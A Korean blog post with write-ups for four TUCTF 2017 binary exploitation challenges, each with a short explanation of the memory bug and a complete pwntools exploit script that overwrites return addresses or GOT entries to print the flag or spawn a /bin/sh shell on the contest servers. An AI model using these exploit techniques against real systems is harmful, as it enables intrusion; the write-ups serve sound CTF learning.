ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • TUCTF 2017 Write up
    Pwnable/CTF 2017. 11. 27. 09:32

    PWN 50 VULN_CHAT




    v5[0x19]sfp 만큼 거리가 있고 v6 "%30s" 를 이용하여서 30byte입력하는데 sfp 하고 ret 1byte를 입력할수있다.


    그래서 선택한방법이 v5를 oveflow를 해서 v6 "%30s"를 "%s"로 바꾸면 v4입력부분에서 ENTER,NULL값을 입력받을때까지 입력할수있다.

    즉, eip 4byte 변조가능



    ret에 printFlag에 넣는다면 플래그를 얻을 수 있을것이다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    from pwn import *
     
    #p=process("./vuln-chat")
    p=remote("vulnchat.tuctf.com",4141)
        
    print p.recv(1024)
     
    payload = "A"*0x14
    payload += p32(0x73393925)
    p.sendline(payload)
     
    payload = "A"*0x2D
    payload += "b"*4
    payload += p32(0x0804856b)
     
    p.sendline(payload)
     
    p.interactive()
    cs



    PWN 100 vuln-chat 2.0



     buf 45입력부분에서 sfp 4byte,ret 2byte를 변조할수있다. 

     먼저 sfp overwrite를 생각할수있다. 

     dothing으로 서브함수이기때문에 서브함수에서 leave ret이 되기때문.



          0xffffd508 sfp

          0x08048668 ret

          printf flag와 ret 둘다 0x0804로 같고 ret에 2byte조작 가능하니 ret에 \x72\x86을 넣으면 ret에 printfFlag가 들어간다.




    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
     
    #p=process("./vuln-chat2")
    p=remote("vulnchat2.tuctf.com",4242)
     
    print p.recv(1024)
    p.sendline("A"*15)
    print p.recv(1024)
    p.sendline("\x90"*0x27+p32(0x08048672-0x4)+"\x72\x86")
     
    p.interactive()
     
    cs


    PWN 250 guestbook


    음수만 체크를하고 양수는 어느큰값을 주던 상관이없어 메모리 릭이 가능하다.

    main부분에서 heappointer 뒤에 system 뒤에 heap주소를 저장하는 포인터를 가르키고있다.

    그럼 heap주소를 저장하는 포인터를 출력시키면 NULL값을 만날때까지 출력하기때문에 heap address,system을 출력가능하다.




    그리고 gets함수로 오버플로우를 공격할수있다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    from pwn import *
     
    #p=process("./guestbook")
    p=remote("guestbook.tuctf.com",4545)
    libc = ELF("./libc.so.6")
     
    def name_i(name):
        p.recvuntil('>>>')
        p.sendline(name)
     
    def view(idx):
        p.recvuntil('>>')
        p.sendline("1")
        p.recvuntil('>>>')
        p.sendline(str(idx))
     
    def change(idx,c_name):
        p.recvuntil('>>')
        p.sendline("2")
        print p.recvuntil('>>>')
        p.sendline(str(idx))
        print p.recvuntil('>>>')
        p.sendline(c_name)
        p.sendline("\n")
     
    for i in range(4):
        name_i(str(i)+"AAAA")
     
    view(47)
    base_ready = u32(p.recv(4))
    print hex(base_ready)
    view(6)
    heap = u32(p.recv(4))
    print hex(heap)
    heap_2 = u32(p.recv(4))
    print hex(heap_2)
    heap_3 = u32(p.recv(4))
    print hex(heap_3)
    heap_4 = u32(p.recv(4))
    print hex(heap_4)
    p.recv(4)
    system = u32(p.recv(4))
    libc_base = system - 0x3e3e0 #local 3ada0
    BinSh = libc_base + next(libc.search("/bin/sh"))#local 15b9ab
    print hex(system)
    print hex(libc_base)
    print hex(BinSh)
     
     
    payload = "A"*(0x98-0x34)
    payload += p32(0)
    payload += "B"*4 #v6
    payload += p32(heap)
    payload += p32(heap_2)
    payload += p32(heap_3)
    payload += p32(heap_4)
    payload += "B"*4 #v8
    payload += "C"*4 #system
    payload += "D"*4 #heap
    payload += "\x00"*0x10 #v11,v12,i
    payload += "D"*4
    payload += p32(system)
    payload += "B"*4
    payload += p32(BinSh)
     
    change(0,payload)
     
    p.interactive()
     
    #12 libc_start_main + 247
     

    cs


    PWN 500 Temple


    malloc,free 를 만들어서 낸 문제다.


    heap struct

    [-1] prev_size

    [0] size

    [1] data


    Quote struct

    text_size

    text

    character

    character_size 


    대충 이런식으로 되어있다. 

    간단하게 하면 malloc를 할때 size를 16byte단위로 정렬 + 16을하고 find_fit으로 uaf가능한곳을 찾고 header,footer(size,next chunk prev_size) 등 힙 데이터들을 설정을해준다.


    free함수는 간단하게 하면 A B C가 있을때 B가 free가 될때 B의 사이즈를 A의 사이즈에 더해주고 b의 prev_size를 c의 prev_size에 더해주는 식으로하고 B의 prev_size 마지막 1bit가 0이라면 이전청크의 사이즈도 1bit를 0으로 설정해준다. <- 이 방법으로 공격을할수있다.

    find_fit는 heap_list 전역포인터에 저장되어있는 주소를 기준으로 size를 더하면서 사이즈 마지막 1bit가 0이고, 내가 할당할려는 사이즈가 그곳에 있던 사이즈보다 작으면 UAF가 되는식인데 

    give를 하면 16byte를 하게되면 fgets로 입력을받는데 16 + 1를 해주며 17byte를 입력할수있어서 다음 청크 prev_size를 NULL로 바꿀 수 있다.

    그리고 modify에서도 +1를 해주는데 우리는 give에서 +1를 해준상태라서 16 + 2를 해준만큼 입력을 할 수 있는것이랑 똑같다. 

    다음 청크 prev_size 1byte를 NULL값이 아닌 아무값이나 넣어줄수있다.


    atoi got를 printf로 바꿔서 fsb를 이용하여 leak 

    그다음 atoi got를 system으로 바꿔서 쉘을 딸 수 있다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    from pwn import *
     
    #p=process("./temple")
    p=remote("temple.tuctf.com",4343)
    elf=ELF("./temple")
     
    def take(idx):
        p.recvuntil(': ')
        p.sendline("1")
        p.recvuntil(': ')
        p.sendline(str(idx))
     
    def give(size,data):
        p.recvuntil(': ')
        p.sendline("2")
        p.recvuntil(': ')
        p.sendline(str(size))
        p.recvuntil(': ')
        p.sendline(data)
     
    def modify(idx,data):
        p.recvuntil(': ')
        p.sendline("3")
        p.recvuntil(': ')
        p.sendline(str(idx))
        p.recvuntil(': ')
        p.sendline(data)
     
    give(16,"AAAA"#8
    take(0)
    give(16,"AAAA"#9
    give(16,"BBBB"#10
    give(256,"ZZZZ"#11
     
    modify(8,"A"*16+"\x50"#fake 8 free success
    take(9)
    give(30,p64(0x500)+p64(elf.got['atoi'])) 
    modify(8,p64(elf.plt['printf']))
    p.recvuntil(': ')
    p.recvuntil(': ')
    p.sendline("%15$p")
    printf = int(p.recv(14),16- 153
    libc_base = printf - 0x50cf0 #local 55800, 45390
    system = libc_base + 0x41490
    print hex(printf)
    print hex(system)
    p.recv(1024)
    p.sendline("33")
    p.recv(1024)
    p.sendline("8888888")
    p.recv(1024)
    p.sendline(p64(system))
    p.recvuntil(': ')
    p.sendline("/bin/sh\x00")
     
    p.interactive()
     
    cs





    'Pwnable > CTF' 카테고리의 다른 글

    HITCON 2016 house_of_orange  (2) 2017.12.11
    BCTF 2017 Babyuse  (1) 2017.12.01
    CAT_SECURITY WhiteHackerLeague  (2) 2017.11.19
    RCTF 2017 RNOTE  (0) 2017.11.08
    RCTF 2017 AirCraft  (0) 2017.11.08
Designed by Tistory.